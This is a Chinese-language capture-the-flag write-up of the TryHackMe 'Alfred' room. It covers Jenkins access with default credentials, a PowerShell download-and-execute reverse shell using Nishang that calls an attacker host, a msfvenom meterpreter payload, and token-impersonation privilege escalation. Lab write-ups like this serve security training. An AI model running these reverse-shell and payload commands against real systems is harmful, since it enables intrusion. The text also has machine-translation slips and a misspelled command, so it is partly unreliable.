TryHackMe | Alfred Writeup
Task 1 Initial Access
1.1How many ports are open?
nmap -sC -sV -A IP
明显3个开放端口
1.2 - What is the username and password for the log in panel(in the format username:password)
问我们登入的账号密码是啥
研究了半天不知道密码在哪,结果是个弱密码 admin:admin
1.3
网上搜索发现Jenkins可以再设置的模块里面执行
先点击project进入项目,然后点击左侧那个configure设置,进入配置页面后,往下拉就能看到一个写着whoami的框,就是我们要找的命令执行入口
输入命令后,点击save保存,然后回到前面那个页面点build
然后就会发现下面的build history会多一个,点击那个新的进入build,再点击console即可执行命令
但是这时候我们是个普通用户,那我们就能想到可以使用PowerShell命令来执行反向shell了
所以我首先下载了一个名为“Nishang”的 GitHub 存储库,其中包含大量反向 shell
git clone https://github.com/samratashok/nishang.git
查看目录内部,我们可以看到可以使用的各种不同的 shell。我们将使用 Invoke-PowershellTcp.ps1。
接下来,我只是使用 Python3 将整个目录以及所有 shell 托管在 Web 服务器上。
一旦托管了反向shell,我们需要通过Jenkins配置页面中的Windows批处理命令使用PowerShell将其下载到目标机器上,然后运行它。
powershell iex (New-Object Net.WebClient).DownloadString(‘http://ip:80/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress ip -Port 1234 powershell iex (New-Object Net.WebClient).DownloadString('http://ip:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress ip -Port 1234 powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.44.141:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.44.141 -Port 1234
然后将此命令粘贴到 Jenkins 的命令框中。
本机别忘记监听
然后保存项目去构建执行
执行完后即可得到shell
然后再用户的桌面目录找到user.txt
Task 2 Switching Shells
接下来我们可以做的是将 shell 升级到可能的 meterpreter shell。首先,使用 msfvenom 生成 Windows 可执行格式的 meterpreter 反向 TCP payload。
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe 这里注意俩个shell的port别混了
别忘记重启python的托管服务
然后在 Metasploit 中设置处理程序
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-thm-ip set LPORT listening-port //这里的port是你第二次shell文件上设置的端口 run
然后在之前得到的后门shell执行下面的命令
powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')" 下载文件 Start-Process "shell-name.exe" 运行反弹文件 //powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.44.141:80/hhz.exe','hhz.exe')"
执行完命令后,本地得到了meterpreter shell
题目问的负载是在你创建文件时候回显的文件大小 73802bytes
Task 3 Privilege Escalation
Windows 使用令牌来确保帐户拥有执行特定操作的正确权限。当用户登录时,帐户令牌会分配给帐户 - 通常由 LSASS.exe 完成。
访问令牌包括:
-
User SIDs 用户
-
Group SIDs 组
-
Privileges 权限
Primary access tokens 主要访问令牌:与登录时生成的用户帐户关联的令牌 mpersonation tokens 模拟令牌:允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源
对于模拟令牌,有不同的级别:
SecurityAnonymous 当前用户无法冒充其他用户/客户端 SecurityIdentification 当前用户/客户端可以获得客户端的身份和权限,但不能冒充客户端 SecurityImpersonation 当前用户/客户端可以模拟本地系统上客户端的安全上下文 SecurityDelegation 当前用户/客户端可以模拟远程系统上客户端的安全上下文
常见的滥用特权(用来提权)
-
SeImpersonatePrivilege 冒充特权
-
SeAssignPrimaryPrivilege
-
SeTcbPrivilege
-
SeBackupPrivilege
-
SeRestorePrivilege Se恢复权限
-
SeCreateTokenPrivilege
-
SeLoadDriverPrivilege SeLoadDriverPrivilegy
-
SeTakeOwnershipPrivilege SeTake所有权特权
-
SeDebugPrivilege
接下来,我们可以运行 whoami /priv 命令来查看我们拥有的所有权限
可以看到SeDebugPrivilege, SeImpersonatePrivilege是Enabled状态,有权限配置失误。
回到MSF的meterpreter这里,加载最重要的incognito来窃取我们的令牌然后,我们可以使用“list_tokens -g”列出令牌。
一眼就看到了最上面的admin,说明我们有机会拿到admin的令牌
要模拟此令牌,我们可以使用命令 imperonsate_token “BUILTIN\Administrators”。
收到一条成功消息,告诉我们它有效。而且getuid可以看到权限显示我们现在是 NT AUTHORITY\SYSTEM
但是,这并不总是意味我们有特权用户的权限。这是由于 Windows 处理权限的方式造成的——因为我们是用模拟令牌提权成功的,Windows权限这里还会考虑检查主要访问令牌。所以我们需要线程注入,溜到其它地方
ps 命令检查系统上正在运行哪些进程。
有多个进程以 SYSTEM 身份运行。一些更安全的迁移目标是 winlogon 和 services.exe 这里看到services.exe的pid是668 直接注入进去 migrate 668
大功告成
最后我们读取位于 C:\Windows\System32\config 的 root.txt 文件 完成room
标签:令牌,exe,Invoke,Writeup,权限,shell,Alfred,客户端,TryHackMe From: https://www.cnblogs.com/l0vehzzz/p/17537260.html